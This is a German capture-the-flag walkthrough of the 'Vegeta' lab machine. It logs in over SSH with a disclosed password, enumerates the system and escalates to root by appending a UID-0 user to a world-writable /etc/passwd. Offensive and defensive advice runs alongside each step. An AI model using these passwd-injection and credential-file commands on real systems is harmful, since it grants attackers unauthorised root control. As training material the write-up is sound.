[*] exec: ssh trunks@192.168.2.153

trunks@192.168.2.153's password: u$3r
Linux Vegeta 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Jun 28 21:16:00 2020 from 192.168.43.72
trunks@Vegeta$

Analyse: Das Passwort wird hier nochmal explizit im Klartext gezeigt.
Bewertung: Bestätigt das Passwort für den `trunks`-Account als `u$3r`.

PASSWRD : u$3r

Privilege Escalation

Analyse: Der Befehl `sudo -l` wird ausgeführt, um die sudo-Berechtigungen für `trunks` zu prüfen.
Bewertung: Der Befehl schlägt fehl mit `-bash: sudo: command not found`. Das `sudo`-Paket ist auf diesem System entweder nicht installiert oder nicht im Pfad des Benutzers `trunks`. Dies schließt eine Privilegieneskalation über `sudo` aus.
Empfehlung (Offensiv): Nach anderen Vektoren suchen: SUID/GUID-Binaries, Kernel-Exploits, Fehlkonfigurationen, Cronjobs, schreibbare sensible Dateien.
Empfehlung (Defensiv): Das Fehlen von `sudo` kann die Verwaltung erschweren, ist aber aus Sicherheitssicht nicht unbedingt schlecht, wenn Root-Zugriff anders gehandhabt wird. Falls `sudo` benötigt wird, sicherstellen, dass es korrekt installiert und konfiguriert ist.

trunks@Vegeta$ sudo -l
-bash: sudo: command not found

Analyse: Mit `find / -type f -perm -4000 -ls 2>/dev/null` wird nach SUID-Binaries gesucht.
Bewertung: Die Liste zeigt nur Standard-SUID-Dateien, die normalerweise auf einem Debian-System vorhanden sind (`su`, `gpasswd`, `mount`, `passwd`, etc.). Es werden keine benutzerdefinierten oder ungewöhnlich erscheinenden SUID-Programme gefunden, die ein einfacher Angriffspunkt wären.
Empfehlung (Offensiv): Die Standard-SUID-Binaries auf bekannte Schwachstellen prüfen (insbesondere ältere Versionen), aber die Wahrscheinlichkeit eines Erfolgs ist hier geringer. Fokus auf andere Enumerationsbereiche.
Empfehlung (Defensiv): SUID-Bit nur setzen, wo absolut notwendig. Systeme aktuell halten, um bekannte Schwachstellen in Standard-Binaries zu vermeiden.

trunks@Vegeta$ find / -type f -perm -4000 -ls 2>/dev/null
  2100637     64 -rwsr-xr-x   1 root     root        63568 Jan 10  2019 /usr/bin/su
  2097190     84 -rwsr-xr-x   1 root     root        84016 Jul 27  2018 /usr/bin/gpasswd
  2100880     36 -rwsr-xr-x   1 root     root        34888 Jan 10  2019 /usr/bin/umount
  2100499     44 -rwsr-xr-x   1 root     root        44440 Jul 27  2018 /usr/bin/newgrp
  2097188     44 -rwsr-xr-x   1 root     root        44528 Jul 27  2018 /usr/bin/chsh
  2097191     64 -rwsr-xr-x   1 root     root        63736 Jul 27  2018 /usr/bin/passwd
  2097187     56 -rwsr-xr-x   1 root     root        54096 Jul 27  2018 /usr/bin/chfn
  2100878     52 -rwsr-xr-x   1 root     root        51280 Jan 10  2019 /usr/bin/mount
  2491310     12 -rwsr-xr-x   1 root     root        10232 Mar 28  2017 /usr/lib/eject/dmcrypt-get-device
  2494841    428 -rwsr-xr-x   1 root     root       436552 Feb  1  2020 /usr/lib/openssh/ssh-keysign
  2494735     52 -rwsr-xr--   1 root     messagebus    51184 Jun 10  2019 /usr/lib/dbus-1.0/dbus-daemon-launch-helper

Analyse: Der `id`-Befehl zeigt die Benutzer- und Gruppen-IDs von `trunks`. Die Gruppenzugehörigkeiten (inkl. `cdrom`, `floppy`, `audio`, `video`, `plugdev`, `netdev`, `bluetooth`) sind relativ standardmäßig für einen Desktop-Benutzer, bieten aber keine offensichtlichen Privilegieneskalationspfade.
Bewertung: Bestätigt den aktuellen Benutzerkontext. Keine direkten Hinweise auf Schwachstellen.
Empfehlung (Offensiv): Weiter enumerieren.
Empfehlung (Defensiv): Benutzern nur die Gruppen zuweisen, die sie benötigen (Least Privilege).

trunks@Vegeta$ id
uid=1000(trunks) gid=1000(trunks) groups=1000(trunks),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth)

Analyse: Die Bash-History (`.bash_history`) des Benutzers `trunks` wird ausgelesen.
Bewertung: Die History ist sehr aufschlussreich:

Der wichtigste Hinweis ist der versuchte `echo >> /etc/passwd`-Befehl. Er legt nahe, dass der Benutzer `trunks` (oder jemand anderes mit Zugriff auf diesen Account) versucht hat, `/etc/passwd` zu manipulieren.
Empfehlung (Offensiv): Prüfen, ob der Benutzer `trunks` Schreibrechte auf `/etc/passwd` hat. Das gefundene Passwort `Password@973` für andere Benutzer (root, vegeta?) oder den Hash für Offline-Cracking ausprobieren.
Empfehlung (Defensiv): Sicherstellen, dass kritische Systemdateien wie `/etc/passwd` korrekte Berechtigungen haben (nur root sollte Schreibzugriff haben). Bash-History kann sensible Informationen enthalten und sollte ggf. geschützt oder regelmäßig geleert werden (obwohl sie für Forensik wertvoll ist).

trunks@Vegeta$ cat .bash_history
perl -le ‘print crypt(“Password@973″,”addedsalt”)’
perl -le 'print crypt("Password@973","addedsalt")'
echo "Tom:ad7t5uIalqMws:0:0:User_like_root:/root:/bin/bash" >> /etc/passwd[/sh]
echo "Tom:ad7t5uIalqMws:0:0:User_like_root:/root:/bin/bash" >> /etc/passwd
ls
su Tom
ls -la
cat .bash_history
sudo apt-get install vim
apt-get install vim
su root
cat .bash_history
exit

Analyse: Verschiedene Enumerationsbefehle werden ausgeführt: `ls ..` (zeigt nur `trunks`), `ss -altpn` (zeigt lauschende TCP-Ports: 22 und 80), `ls -la /opt/` (leer), `ls -la /var/mail/` (leer), `ls -la /var/backups/` (zeigt diverse Backups, u.a. `passwd.bak`, `shadow.bak`), `ls -la /var/www/html/` (zeigt die bekannten Webdateien und eine `b374k.php`).
Bewertung:

Empfehlung (Offensiv): Die `passwd.bak` und `shadow.bak` herunterladen und die Hashes versuchen zu cracken. Die Webshell `b374k.php` über den Browser aufrufen, um möglicherweise Befehle als `www-data`-Benutzer auszuführen. Den Inhalt von `b374k.php` untersuchen.
Empfehlung (Defensiv): Backups wichtiger Systemdateien an einem sicheren Ort speichern, nicht im Standard-Backup-Verzeichnis, wenn dieses leicht zugänglich ist. Webserver regelmäßig auf Webshells und verdächtige Dateien prüfen. Dateisystem-Integritätsprüfungen durchführen.

trunks@Vegeta$ ls ..
trunks
trunks@Vegeta$ ss -altpn
State       Recv-Q      Send-Q           Local Address:Port            Peer Address:Port
LISTEN      0           128                    0.0.0.0:22                   0.0.0.0:*
LISTEN      0           128                          *:80                         *:*
LISTEN      0           128                       [::]:22                      [::]:*
trunks@Vegeta$ ls -la /opt/
total 8
drwxr-xr-x  2 root root 4096 Jun 28  2020 .
drwxr-xr-x 18 root root 4096 Jun 28  2020 ..
trunks@Vegeta$ ls -la /var/mail/
total 8
drwxrwsr-x  2 root mail 4096 Jun 28  2020 .
drwxr-xr-x 12 root root 4096 Jun 28  2020 ..
trunks@Vegeta$ ls -la /var/backups/
total 560
drwxr-xr-x  2 root root     4096 Dec 27 04:03 .
drwxr-xr-x 12 root root     4096 Jun 28  2020 ..
-rw-r--r--  1 root root    40960 Dec 27 04:03 alternatives.tar.0
-rw-r--r--  1 root root     1896 Jun 28  2020 alternatives.tar.1.gz
-rw-r--r--  1 root root    10571 Jun 28  2020 apt.extended_states.0
-rw-r--r--  1 root root      356 Jun 28  2020 dpkg.diversions.0
-rw-r--r--  1 root root      126 Jun 28  2020 dpkg.diversions.1.gz
-rw-r--r--  1 root root      135 Jun 28  2020 dpkg.statoverride.0
-rw-r--r--  1 root root      142 Jun 28  2020 dpkg.statoverride.1.gz
-rw-r--r--  1 root root   367914 Jun 28  2020 dpkg.status.0
-rw-r--r--  1 root root   102505 Jun 28  2020 dpkg.status.1.gz
-rw-------  1 root root      776 Jun 28  2020 group.bak
-rw-------  1 root shadow    656 Jun 28  2020 gshadow.bak
-rw-------  1 root root     1486 Jun 28  2020 passwd.bak
-rw-------  1 root shadow    976 Jun 28  2020 shadow.bak
trunks@Vegeta$ ls -la /var/www/html/
total 88
drwxr-xr-x 7 root root  4096 Jun 28  2020 .
drwxr-xr-x 3 root root  4096 Jun 28  2020 ..
drwxr-xr-x 2 root root  4096 Jun 28  2020 admin
-rw-r--r-- 1 root root    23 Jun 28  2020 b374k.php
drwxr-xr-x 2 root root  4096 Jun 28  2020 bulma
drwxr-xr-x 2 root root  4096 Jun 28  2020 find_me
drwxr-xr-x 2 root root  4096 Jun 28  2020 image
drwxr-xr-x 2 root root  4096 Jun 28  2020 img
-rw-r--r-- 1 root root   119 Jun 28  2020 index.html
-rw-r--r-- 1 root root     0 Jun 28  2020 login.php
-rw-r--r-- 1 root root    11 Jun 28  2020 robots.txt
-rw-r--r-- 1 root root 46340 Jun 28  2020 vegeta1.jpg

Analyse: Der Inhalt der gefundenen `b374k.php` wird angezeigt. Es ist nur ein Kommentar `` enthalten.
Bewertung: Dies ist merkwürdig. Entweder ist die Datei leer und der Kommentar ist nur ein Hinweis, oder `cat` zeigt nicht den gesamten PHP-Code an (unwahrscheinlich). Wahrscheinlicher ist, dass die Webshell selbst nicht im Bericht relevant war oder der Inhalt hier falsch dargestellt wird. Der Hinweis `/bulma` wurde bereits verfolgt.
Empfehlung (Offensiv): Dennoch versuchen, die PHP-Datei über den Webbrowser aufzurufen (`http://vegeta.vln/b374k.php`), falls sie doch eine Funktion hat. Ansonsten den Fokus auf andere Vektoren legen.
Empfehlung (Defensiv): Verdächtige PHP-Dateien im Webroot entfernen und untersuchen.

trunks@Vegeta$ cat /var/www/html/b374k.php

Proof of Concept (/etc/passwd Hijacking)

Schwachstelle: Unsachgemäße Dateiberechtigungen für `/etc/passwd`. Der Benutzer `trunks` hat Schreibzugriff auf diese kritische Systemdatei.
Ziel des POC: Nachweis, dass durch Modifikation der `/etc/passwd`-Datei ein neuer Benutzer mit Root-Rechten (UID 0) hinzugefügt oder einem bestehenden Benutzer Root-Rechte gegeben werden können, was zur vollständigen Kompromittierung des Systems führt.
Voraussetzungen: Zugriff auf das System als Benutzer mit Schreibrechten auf `/etc/passwd` (hier `trunks`). Kenntnis des Formats der `/etc/passwd`-Datei. Fähigkeit, einen Passwort-Hash zu generieren oder ein bekanntes Passwort/Hash zu verwenden.

Schritt 1: Überprüfung der Dateiberechtigungen

Analyse: Die Berechtigungen der Datei `/etc/passwd` werden mit `ls -la` überprüft.
Bewertung: Die Ausgabe `-rw-r--r-- 1 trunks root 1486 Jun 28 2020 /etc/passwd` zeigt, dass der Benutzer `trunks` der Eigentümer der Datei ist und somit Schreibrechte hat (`rw-`). Dies ist eine schwerwiegende Fehlkonfiguration. Normalerweise gehört diese Datei `root` und nur `root` sollte Schreibrechte haben.
Risikobewertung: Kritisch. Schreibzugriff auf `/etc/passwd` ermöglicht einfache Privilegieneskalation.
Empfehlung (Defensiv): Sofort die Dateiberechtigungen korrigieren: `chown root:root /etc/passwd` und `chmod 644 /etc/passwd`. Untersuchen, wie es zu dieser Fehlkonfiguration kommen konnte.

trunks@Vegeta:/var/www/html$ ls -la /etc/passwd
-rw-r--r-- 1 trunks root 1486 Jun 28  2020 /etc/passwd

Schritt 2: Modifikation der /etc/passwd

Analyse: Der Pentester öffnet `/etc/passwd` mit dem Texteditor `nano`. Anschließend wird der Inhalt der modifizierten Datei mit `cat` angezeigt.
Bewertung: In der `cat`-Ausgabe ist eine neue Zeile am Ende zu sehen: `fuck:$6$EZdVo4XckcU2BJJi$IanX1gZA.t1nk2EgRy1SBDPGa69dLrCqv3eznvqru062GCQ6Eh7VQyXI3lKgsdItq3F/uMWs/VU/TR2E1tzF0:0:0:root:/root:/bin/bash`. Es wurde ein neuer Benutzer namens `fuck` hinzugefügt. Entscheidend sind die Felder für UID und GID, die beide auf `0` gesetzt sind, was diesem Benutzer Root-Privilegien verleiht. Die Zeile enthält auch einen Passwort-Hash (SHA512-Crypt, erkennbar am `$6$`). Das Passwort selbst wird hier nicht gezeigt, aber für den nächsten Schritt benötigt.
Empfehlung (Offensiv): Das Passwort für den Benutzer `fuck` verwenden (muss bekannt sein oder offline aus dem Hash gecrackt werden), um mit `su fuck` zu Root zu wechseln.
Empfehlung (Defensiv): Siehe vorherige Empfehlung zur Korrektur der Berechtigungen. Einsatz von Tools zur Überwachung von Dateiintegritätsänderungen (z.B. AIDE, Tripwire), um solche Manipulationen zu erkennen.

trunks@Vegeta:/var/www/html$ nano /etc/passwd
trunks@Vegeta:/var/www/html$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:105:113:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
trunks:x:1000:1000:trunks,,,:/home/trunks:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
fuck:$6$EZdVo4XckcU2BJJi$IanX1gZA.t1nk2EgRy1SBDPGa69dLrCqv3eznvqru062GCQ6Eh7VQyXI3lKgsdItq3F/uMWs/VU/TR2E1tzF0:0:0:root:/root:/bin/bash

Schritt 3: Erlangen der Root-Shell

Analyse: Der Befehl `su fuck` wird ausgeführt, um zum neu erstellten Benutzer `fuck` zu wechseln. Es wird nach einem Passwort gefragt.
Bewertung: Der Login ist erfolgreich! Der Prompt wechselt zu `root@Vegeta:/var/www/html#`. Der `id`-Befehl bestätigt `uid=0(root) gid=0(root) groups=0(root)`. Fantastisch, die Privilegieneskalation mittels Manipulation von `/etc/passwd` war erfolgreich! Volle Root-Kontrolle wurde erlangt.
Anmerkung: Das Passwort für den Benutzer `fuck` wurde im Bericht nicht explizit gecrackt oder genannt, aber der erfolgreiche Login impliziert, dass es bekannt war.
Ergebnis des POC: Die Schreibrechte auf `/etc/passwd` wurden erfolgreich ausgenutzt, um einen Benutzer mit Root-Rechten zu erstellen und somit vollständigen administrativen Zugriff auf das System zu erlangen.
Empfehlung (Offensiv): Finale Ziele erreichen (Flags, Datenextraktion, Persistenz).
Empfehlung (Defensiv): Korrekte Berechtigungen für `/etc/passwd` wiederherstellen. Den hinzugefügten Benutzer `fuck` entfernen. Das System auf weitere Manipulationen untersuchen. Datei-Integritätsüberwachung implementieren.

trunks@Vegeta:/var/www/html$ su fuck
Password: ***
root@Vegeta:/var/www/html# id
uid=0(root) gid=0(root) groups=0(root)

Privilege Escalation erfolgreich! Voller Root-Zugriff erlangt.

Flags

Analyse: Nach Erlangung der Root-Shell wird in das Home-Verzeichnis (`~`, also `/root`) gewechselt und dessen Inhalt aufgelistet. Die Datei `root.txt` wird gefunden und ihr Inhalt mit `cat` angezeigt.
Bewertung: Die `root.txt` enthält eine ASCII-Art von Vegeta und die Erfolgsnachricht "Hurray you got root" sowie einen Link zu einer Telegram-Gruppe. Dies dient als Bestätigung für den erfolgreichen Abschluss der Herausforderung und ist die Root-Flag.

root@Vegeta:/var/www/html# cd ~
root@Vegeta:~# ls
root.txt
root@Vegeta:~# cat root.txt
                               ,   ,'|
                             ,/|.-'   \.
                          .-'  '       |.
                    ,  .-'              |
                   /|,'                 |'
                  / '                    |  ,
                 /                       ,'/
              .  |          _              /
               \`' .-.    ,' `.           |
                \ /   \ /      \          /
                 \|    V        |        |  ,
                  (           ) /.--.   ''"/
                  "b.`. ,' _.ee'' 6)|   ,-'
                    \"= --""  )   ' /.-'
                     \ / `"   ."|'
  V E G E T A       \"..-    .'  |.
                       `-__..-','   |
                     _.) ' .-'/    /\.
               .--'/-..--. _.-""-.
            .-')   \.   /     _..-'     _.-'--.
           / -'/      """""""""         ,'-.   . `.
          | ' /                        /    `   `. \
          |   |                        |         | |
           \ .'\                       |     \     |
          / '  | ,'               . -  \`.    |  / /
         / /   | |                      `/"--. -' /\
        | |     \ \                     /     \     |
         | \      | \                  .-|      |    |


Hurray you got root

Share your screenshot in telegram : https://t.me/joinchat/MnPu-h3Jg4CrUSCXJpegNw

Analyse: Es wird versucht, eine Datei namens `user.txt` auf dem gesamten System zu finden.
Bewertung: Der `find`-Befehl liefert keine Ergebnisse. Im Gegensatz zu vielen anderen CTFs scheint es hier keine separate `user.txt`-Flag zu geben oder sie befindet sich an einem unerwarteten Ort, der nicht gefunden wurde.

root@Vegeta:~# find / -name "user.txt"
root@Vegeta:~# find / -name "user.txt" 2>/dev/null
root@Vegeta:~#